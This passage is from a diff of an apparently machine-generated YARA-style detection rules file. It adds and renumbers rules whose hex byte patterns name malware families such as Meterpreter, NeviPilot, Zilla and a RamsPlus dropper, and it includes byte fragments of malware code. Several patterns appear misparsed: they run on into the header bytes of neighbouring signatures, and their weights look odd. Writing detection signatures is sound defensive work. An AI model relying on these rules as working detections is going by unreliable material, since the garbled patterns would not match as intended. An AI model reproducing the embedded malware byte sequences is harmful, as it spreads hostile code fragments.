57 69 6e 33 32 2f 4f 77 6f 77 61 2e 43 00 02 00 20 80 01 54 4a 6c 6a 77 59 65 76 77 73 6d 51 66 } //21328 + $a_58_2 = {6b 65 69 34 44 64 72 6c 33 72 5a 69 45 33 02 00 20 80 01 4e 56 76 44 43 70 49 79 6e 4a 61 75 37 5a 68 68 6a 6c 67 76 4f 48 52 44 37 69 63 51 6f 74 33 6a 02 00 0b 80 01 49 48 74 74 70 4d 6f 64 75 6c 65 00 00 78 7d 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 } //14392 + condition: + ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*21328+(#a_58_2 & 1)*14392) >=6 + +} +rule _InfrastructureShared_8519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 77 6f 77 61 2e 43 00 02 00 20 80 01 54 4a 6c 6a 77 59 65 76 77 73 6d 51 66 38 38 66 58 76 6b 65 69 34 44 64 72 6c 33 72 5a 69 45 33 02 00 20 80 01 4e 56 76 44 43 70 } //21539 - $a_4a_1 = {75 37 5a 68 68 6a 6c 67 76 4f 48 52 44 37 69 63 51 6f 74 33 6a 02 00 0b 80 01 49 48 74 74 70 4d 6f 64 75 6c 65 00 00 78 7d 00 00 0a 00 0a 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 69 64 61 72 2e 5a 55 21 4d 54 42 00 04 00 2e 03 0f be 04 31 33 c7 6b f8 90 01 01 41 3b cb 72 90 01 01 81 ff 90 01 04 74 90 } //31049 - $a_9d_2 = {01 04 42 8b b5 90 01 04 8b bd 90 01 04 e9 90 00 06 00 1f 03 33 c9 39 8d 90 01 04 76 90 01 01 8a 85 90 01 04 30 84 0d 90 01 04 41 3b 8d 90 01 04 72 90 00 00 00 78 7d 00 00 0b 00 0b 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 42 61 69 6e 78 6f 72 55 6e 69 74 00 05 00 20 03 ff 66 81 3b 4d 5a 0f 85 90 02 18 33 d2 52 50 8b 43 3c 99 03 04 24 13 54 24 04 83 c4 08 8b 90 00 02 00 09 00 ca 48 54 54 50 50 72 6f 64 02 00 } //257 + $a_4a_1 = {75 37 5a 68 68 6a 6c 67 76 4f 48 52 44 37 69 63 51 6f 74 33 6a 02 00 0b 80 01 49 48 74 74 70 4d 6f 64 75 6c 65 00 00 78 7d 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 5a 41 42 59 21 4d 54 42 00 0a 00 50 03 2b 64 06 20 7b 7a 7d 03 28 90 01 01 00 00 06 14 14 17 05 28 90 01 01 00 } //31049 + $a_0a_2 = {16 03 02 28 90 01 01 00 00 06 13 0b 11 0b 11 0a 16 11 0a } //1536 condition: - ((#a_4c_0 & 1)*21539+(#a_4a_1 & 1)*31049+(#a_9d_2 & 1)*257) >=6 + ((#a_4c_0 & 1)*21539+(#a_4a_1 & 1)*31049+(#a_0a_2 & 1)*1536) >=6 } -rule _InfrastructureShared_8045{ +rule _InfrastructureShared_8520{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 5a 41 42 59 21 4d 54 42 00 0a 00 50 03 2b 64 06 20 7b 7a 7d 03 28 90 01 01 00 00 06 14 14 17 05 28 90 01 01 00 00 06 13 0a 16 03 02 28 90 01 01 00 00 06 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_8521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -85158,7 +90257,18 @@ rule _InfrastructureShared_8045{ ((#a_46_0 & 1)*21283+(#a_03_1 & 1)*6) >=10 } -rule _InfrastructureShared_8046{ +rule _InfrastructureShared_8522{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 5a 4e 59 21 4d 54 42 00 0a 00 3e 03 0a 8e b7 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 11 33 18 6f 90 01 01 00 00 0a 11 33 17 6f 90 01 01 00 00 0a 11 33 } //21539 + $a_01_1 = {00 } //-28561 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28561) >=11 + +} +rule _InfrastructureShared_8523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -85171,7 +90281,7 @@ rule _InfrastructureShared_8046{ ((#a_54_0 & 1)*18467+(#a_6d_2 & 1)*22424+(#a_b4_3 & 1)*4358+(#a_31_4 & 1)*1041) >=11 } -rule _InfrastructureShared_8047{ +rule _InfrastructureShared_8524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -85182,19 +90292,19 @@ rule _InfrastructureShared_8047{ ((#a_54_0 & 1)*18467+(#a_0d_1 & 1)*5897) >=12 } -rule _InfrastructureShared_8048{ +rule _InfrastructureShared_8525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 65 74 65 72 70 72 65 74 65 72 2e 48 41 21 4d 54 42 00 0a 00 38 01 43 3a 5c 55 73 65 72 73 5c 61 64 6d 69 6e 5c 44 65 73 6b 74 6f 70 5c 74 69 73 68 69 5c 74 69 73 68 69 5c 78 36 34 5c 52 } //16675 $a_61_1 = {65 5c 74 69 73 68 69 2e 70 64 62 01 00 06 01 44 6f 63 6b 65 72 01 00 05 01 70 61 75 73 65 00 00 78 7d 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 5a 21 4d 54 42 00 0a 00 2b 02 13 05 11 05 28 90 01 04 13 06 09 08 11 06 b4 9c } //27749 - $a_0b_2 = {07 16 31 90 01 01 08 17 d6 0c 06 17 d6 0a 06 20 ff d1 00 00 31 90 00 01 00 06 80 01 42 69 74 6d 61 70 01 00 0f 80 01 43 6f 6c 6f 72 54 72 61 6e 73 6c 61 74 6f 72 00 00 78 7d 00 00 0f 00 0f 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 6e 76 61 67 65 6e 74 2e 4e 45 41 41 21 4d 54 42 00 0a 00 40 01 25 d0 a1 00 00 04 28 05 00 00 0a 6f 7d 00 00 0a 07 1f 10 8d 10 00 00 01 25 d0 a5 00 00 04 28 05 00 00 0a 6f 7e 00 00 0a 06 07 6f 7f 00 00 0a 17 73 80 00 00 0a 25 02 16 02 8e 69 6f 81 00 00 0a 05 00 08 01 49 66 56 4d 2e 65 78 65 00 00 78 7d 00 00 14 00 14 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 } //5895 + $a_0b_2 = {07 16 31 90 01 01 08 17 d6 0c 06 17 d6 0a 06 20 ff d1 00 00 31 90 00 01 00 06 80 01 42 69 74 6d 61 70 01 00 0f 80 01 43 6f 6c 6f 72 54 72 61 6e 73 6c 61 74 6f 72 00 00 78 7d 00 00 0f 00 0f 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 6e 76 61 67 65 6e 74 2e 4e 45 41 41 21 4d 54 42 00 0a 00 40 01 25 d0 a1 00 00 04 28 05 00 00 0a 6f 7d 00 00 0a 07 1f 10 8d 10 00 00 01 25 d0 a5 00 00 04 28 05 00 00 0a 6f 7e 00 00 0a 06 07 6f 7f 00 00 0a 17 73 80 00 00 0a 25 02 16 02 8e 69 6f 81 00 00 0a 05 00 08 01 49 66 56 4d 2e 65 78 65 00 00 78 7d 00 00 0f 00 0f 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f } //5895 condition: ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27749+(#a_0b_2 & 1)*5895) >=12 } -rule _InfrastructureShared_8049{ +rule _InfrastructureShared_8526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -85206,18 +90316,30 @@ rule _InfrastructureShared_8049{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*384+(#a_54_2 & 1)*8513) >=12 } -rule _InfrastructureShared_8050{ +rule _InfrastructureShared_8527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 6e 76 61 67 65 6e 74 2e 4e 45 41 41 21 4d 54 42 00 0a 00 40 01 25 d0 a1 00 00 04 28 05 00 00 0a 6f 7d 00 00 0a 07 1f 10 8d 10 00 00 01 25 d0 a5 00 00 04 28 05 00 00 0a 6f 7e 00 00 0a 06 } //16675 - $a_00_1 = {00 0a 17 73 80 00 00 0a 25 02 16 02 8e 69 6f 81 00 00 0a 05 00 08 01 49 66 56 4d 2e 65 78 65 00 00 78 7d 00 00 14 00 14 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 5a 5a 44 21 4d 54 42 00 0a 00 2c 03 2b 09 11 04 90 01 05 13 05 07 11 05 90 01 05 08 da 90 01 0f 0b 00 11 04 17 d6 13 04 11 04 09 90 01 05 fe 04 13 06 11 06 2d c5 90 } //28423 + $a_00_1 = {00 0a 17 73 80 00 00 0a 25 02 16 02 8e 69 6f 81 00 00 0a 05 00 08 01 49 66 56 4d 2e 65 78 65 00 00 78 7d 00 00 0f 00 0f 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6e 74 2e 41 48 42 21 4d 54 42 00 0a 00 1a 01 0f be 04 17 48 ff c2 03 c3 69 c8 01 01 00 00 8b d9 c1 eb 06 33 d9 49 3b d0 75 05 00 1a 01 48 8b ca 49 8b c1 83 e1 07 48 2b c1 0f b6 00 41 30 04 } //28423 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28423) >=15 } -rule _InfrastructureShared_8051{ +rule _InfrastructureShared_8528{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6e 74 2e 41 48 42 21 4d 54 42 00 0a 00 1a 01 0f be 04 17 48 ff c2 03 c3 69 c8 01 01 00 00 8b d9 c1 eb 06 33 d9 49 3b d0 75 05 00 1a 01 48 8b ca 49 8b c1 83 e1 07 } //21539 + $a_0f_1 = {b6 00 41 30 04 10 48 ff c2 48 3b d7 72 05 00 15 01 48 8b c1 83 e0 07 42 0f b6 04 00 30 04 0a 48 ff c1 48 3b cf 72 00 00 78 7d 00 00 14 00 14 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 5a 5a 44 21 4d 54 42 00 0a 00 2c 03 2b 09 11 04 90 01 05 13 05 07 11 05 90 01 05 08 da 90 01 0f 0b 00 11 04 17 d6 13 04 11 04 09 90 01 05 fe 04 13 06 11 06 2d c5 90 00 0a 00 1c 03 13 04 11 04 04 16 04 8e 69 90 01 05 13 05 09 90 01 05 00 11 05 0a 2b 00 06 2a 90 00 00 00 78 7d 00 00 14 00 14 00 04 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 } //11080 + $a_3a_2 = {69 6e 36 34 2f 4e 65 76 69 50 69 6c 6f 74 2e 41 21 64 68 61 00 05 00 0f 01 53 65 72 76 65 72 20 20 63 6f 6e 66 69 67 3a 05 00 0e 01 73 65 72 76 65 72 5f 63 66 67 5f 64 6c 67 05 00 10 01 6d 79 5f 70 6c 75 67 69 6e 5f 63 72 65 61 74 65 05 00 10 01 6d 79 5f 70 6c 75 67 69 6e 5f 64 65 6c 65 74 65 00 00 78 7d 00 00 1e 00 1e 00 } //28527 + condition: + ((#a_4c_0 & 1)*21539+(#a_0f_1 & 1)*11080+(#a_3a_2 & 1)*28527) >=15 + +} +rule _InfrastructureShared_8529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -85227,7 +90349,20 @@ rule _InfrastructureShared_8051{ ((#a_46_0 & 1)*16675) >=20 } -rule _InfrastructureShared_8052{ +rule _InfrastructureShared_8530{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 04 00 21 " + + strings : + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4e 65 76 69 50 69 6c 6f 74 2e 41 21 64 68 61 00 05 00 0f 01 53 65 72 76 65 72 20 20 63 6f 6e 66 69 67 3a 05 00 0e 01 73 65 72 76 65 72 5f 63 66 67 5f 64 6c 67 05 00 10 01 6d } //16675 + $a_6c_1 = {67 69 6e 5f 63 72 65 61 74 65 05 00 10 01 6d 79 5f 70 6c 75 67 69 6e 5f 64 65 6c 65 74 65 00 00 78 7d 00 00 1e 00 1e 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 44 58 4c 61 62 53 75 69 74 00 0a 00 24 81 01 5c 41 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 44 58 4c 61 62 20 53 75 69 74 65 0a 00 1c 81 01 50 65 } //24441 + $a_73_2 = {69 6f 6e 20 69 73 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 0a 00 10 81 01 43 6f 6d 6d 6f 6e 2e 47 65 74 4f 53 4e 61 6d 65 00 00 78 7d 00 00 29 00 29 00 06 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 41 67 65 6e 74 2e 46 45 00 0a 00 0a 00 65 78 70 6c 6f 72 2e 65 78 65 0a 00 0d 02 69 72 } //28018 + $a_02_3 = {10 2e 6e 65 74 90 00 0a 00 07 00 64 65 6c 20 22 25 73 0a 00 14 00 69 66 20 65 78 69 73 74 20 22 25 73 22 20 67 6f 74 6f 20 32 01 00 07 00 3a 62 79 65 62 79 65 01 00 05 00 23 2e 75 6e 64 00 00 78 7d 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 52 61 6d 73 50 6c 75 73 2e 41 21 64 68 61 00 64 00 1a 01 25 00 73 00 5c 00 4c 00 4f 00 57 00 5c 00 25 00 73 00 2e 00 65 00 } //11875 + condition: + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*24441+(#a_73_2 & 1)*28018+(#a_02_3 & 1)*11875) >=20 + +} +rule _InfrastructureShared_8531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -85239,7 +90374,7 @@ rule _InfrastructureShared_8052{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*28001+(#a_74_2 & 1)*26400) >=30 } -rule _InfrastructureShared_8053{ +rule _InfrastructureShared_8532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 06 00 21 " @@ -85254,7 +90389,7 @@ rule _InfrastructureShared_8053{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8226+(#a_00_2 & 1)*101+(#a_79_3 & 1)*27999+(#a_95_4 & 1)*-1+(#a_2c_5 & 1)*656) >=41 } -rule _InfrastructureShared_8054{ +rule _InfrastructureShared_8533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -85266,7 +90401,7 @@ rule _InfrastructureShared_8054{ ((#a_46_0 & 1)*16675+(#a_f4_1 & 1)*13058+(#a_64_2 & 1)*16686) >=300 } -rule _InfrastructureShared_8055{ +rule _InfrastructureShared_8534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -85276,7 +90411,7 @@ rule _InfrastructureShared_8055{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8056{ +rule _InfrastructureShared_8535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -85286,7 +90421,7 @@ rule _InfrastructureShared_8056{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8057{ +rule _InfrastructureShared_8536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -85296,7 +90431,7 @@ rule _InfrastructureShared_8057{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8058{ +rule _InfrastructureShared_8537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -85306,17 +90441,17 @@ rule _InfrastructureShared_8058{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8059{ +rule _InfrastructureShared_8538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 42 75 6e 67 65 65 44 72 6f 70 70 65 72 2e 41 21 64 68 61 00 01 00 44 42 48 89 44 24 90 01 01 48 8b 44 24 90 01 01 48 05 fc 03 00 00 48 89 44 24 90 01 01 48 8b 44 24 90 } //16675 + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 44 6f 77 6e 52 75 6e 6e 65 72 2e 45 21 64 68 61 00 01 00 49 42 41 0f b7 c9 66 89 55 90 01 01 66 83 f1 90 01 01 66 89 55 90 01 01 41 0f b7 c1 66 89 4d 90 01 01 66 83 f0 90 01 } //16675 condition: ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8060{ +rule _InfrastructureShared_8539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -85326,7 +90461,7 @@ rule _InfrastructureShared_8060{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8061{ +rule _InfrastructureShared_8540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -85336,7 +90471,7 @@ rule _InfrastructureShared_8061{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8062{ +rule _InfrastructureShared_8541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -85346,7 +90481,7 @@ rule _InfrastructureShared_8062{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8063{ +rule _InfrastructureShared_8542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -85356,7 +90491,7 @@ rule _InfrastructureShared_8063{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8064{ +rule _InfrastructureShared_8543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -85366,7 +90501,7 @@ rule _InfrastructureShared_8064{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8065{ +rule _InfrastructureShared_8544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -85376,7 +90511,7 @@ rule _InfrastructureShared_8065{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8066{ +rule _InfrastructureShared_8545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -85386,7 +90521,7 @@ rule _InfrastructureShared_8066{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8067{ +rule _InfrastructureShared_8546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -85396,7 +90531,7 @@ rule _InfrastructureShared_8067{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8068{ +rule _InfrastructureShared_8547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -85406,7 +90541,7 @@ rule _InfrastructureShared_8068{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8069{ +rule _InfrastructureShared_8548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -85417,7 +90552,7 @@ rule _InfrastructureShared_8069{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*12611) >=1 } -rule _InfrastructureShared_8070{ +rule _InfrastructureShared_8549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -85428,7 +90563,7 @@ rule _InfrastructureShared_8070{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28789) >=1 } -rule _InfrastructureShared_8071{ +rule _InfrastructureShared_8550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -85438,7 +90573,7 @@ rule _InfrastructureShared_8071{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8072{ +rule _InfrastructureShared_8551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -85449,7 +90584,7 @@ rule _InfrastructureShared_8072{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28487) >=1 } -rule _InfrastructureShared_8073{ +rule _InfrastructureShared_8552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -85460,7 +90595,7 @@ rule _InfrastructureShared_8073{ ((#a_46_0 & 1)*21283+(#a_36_1 & 1)*12338) >=1 } -rule _InfrastructureShared_8074{ +rule _InfrastructureShared_8553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -85472,7 +90607,7 @@ rule _InfrastructureShared_8074{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11891+(#a_01_2 & 1)*1) >=1 } -rule _InfrastructureShared_8075{ +rule _InfrastructureShared_8554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -85491,7 +90626,7 @@ rule _InfrastructureShared_8075{ ((#a_54_0 & 1)*18467+(#a_c3_1 & 1)*-32767+(#a_83_2 & 1)*1280+(#a_00_3 & 1)*-29856+(#a_00_4 & 1)*-31999+(#a_61_5 & 1)*28530+(#a_7e_6 & 1)*0+(#a_3a_7 & 1)*11822+(#a_54_8 & 1)*18479+(#a_81_9 & 1)*1) >=1 } -rule _InfrastructureShared_8076{ +rule _InfrastructureShared_8555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -85509,7 +90644,7 @@ rule _InfrastructureShared_8076{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*0+(#a_23_3 & 1)*1+(#a_8b_4 & 1)*20224+(#a_74_5 & 1)*-29865+(#a_6c_6 & 1)*28515+(#a_4d_7 & 1)*20063+(#a_73_9 & 1)*385+(#a_31_10 & 1)*30026) >=1 } -rule _InfrastructureShared_8077{ +rule _InfrastructureShared_8556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -85519,7 +90654,7 @@ rule _InfrastructureShared_8077{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_8078{ +rule _InfrastructureShared_8557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -85530,7 +90665,7 @@ rule _InfrastructureShared_8078{ ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*-28616) >=2 } -rule _InfrastructureShared_8079{ +rule _InfrastructureShared_8558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -85541,7 +90676,7 @@ rule _InfrastructureShared_8079{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*8448) >=2 } -rule _InfrastructureShared_8080{ +rule _InfrastructureShared_8559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -85552,7 +90687,7 @@ rule _InfrastructureShared_8080{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28525) >=2 } -rule _InfrastructureShared_8081{ +rule _InfrastructureShared_8560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -85563,7 +90698,7 @@ rule _InfrastructureShared_8081{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25448) >=2 } -rule _InfrastructureShared_8082{ +rule _InfrastructureShared_8561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -85574,7 +90709,7 @@ rule _InfrastructureShared_8082{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-123) >=2 } -rule _InfrastructureShared_8083{ +rule _InfrastructureShared_8562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -85585,7 +90720,7 @@ rule _InfrastructureShared_8083{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*23662) >=2 } -rule _InfrastructureShared_8084{ +rule _InfrastructureShared_8563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -85596,7 +90731,7 @@ rule _InfrastructureShared_8084{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*11569) >=2 } -rule _InfrastructureShared_8085{ +rule _InfrastructureShared_8564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -85607,7 +90742,7 @@ rule _InfrastructureShared_8085{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-10447) >=2 } -rule _InfrastructureShared_8086{ +rule _InfrastructureShared_8565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -85618,7 +90753,7 @@ rule _InfrastructureShared_8086{ ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*26226) >=2 } -rule _InfrastructureShared_8087{ +rule _InfrastructureShared_8566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -85629,7 +90764,7 @@ rule _InfrastructureShared_8087{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-256) >=2 } -rule _InfrastructureShared_8088{ +rule _InfrastructureShared_8567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -85640,7 +90775,7 @@ rule _InfrastructureShared_8088{ ((#a_46_0 & 1)*21283+(#a_04_1 & 1)*400) >=2 } -rule _InfrastructureShared_8089{ +rule _InfrastructureShared_8568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -85651,7 +90786,7 @@ rule _InfrastructureShared_8089{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*-15028) >=2 } -rule _InfrastructureShared_8090{ +rule _InfrastructureShared_8569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -85663,7 +90798,7 @@ rule _InfrastructureShared_8090{ ((#a_46_0 & 1)*16675+(#a_8d_1 & 1)*6412+(#a_42_2 & 1)*29295) >=2 } -rule _InfrastructureShared_8091{ +rule _InfrastructureShared_8570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -85674,7 +90809,7 @@ rule _InfrastructureShared_8091{ ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*30298) >=2 } -rule _InfrastructureShared_8092{ +rule _InfrastructureShared_8571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -85686,7 +90821,7 @@ rule _InfrastructureShared_8092{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*4099+(#a_ba_2 & 1)*-16341) >=2 } -rule _InfrastructureShared_8093{ +rule 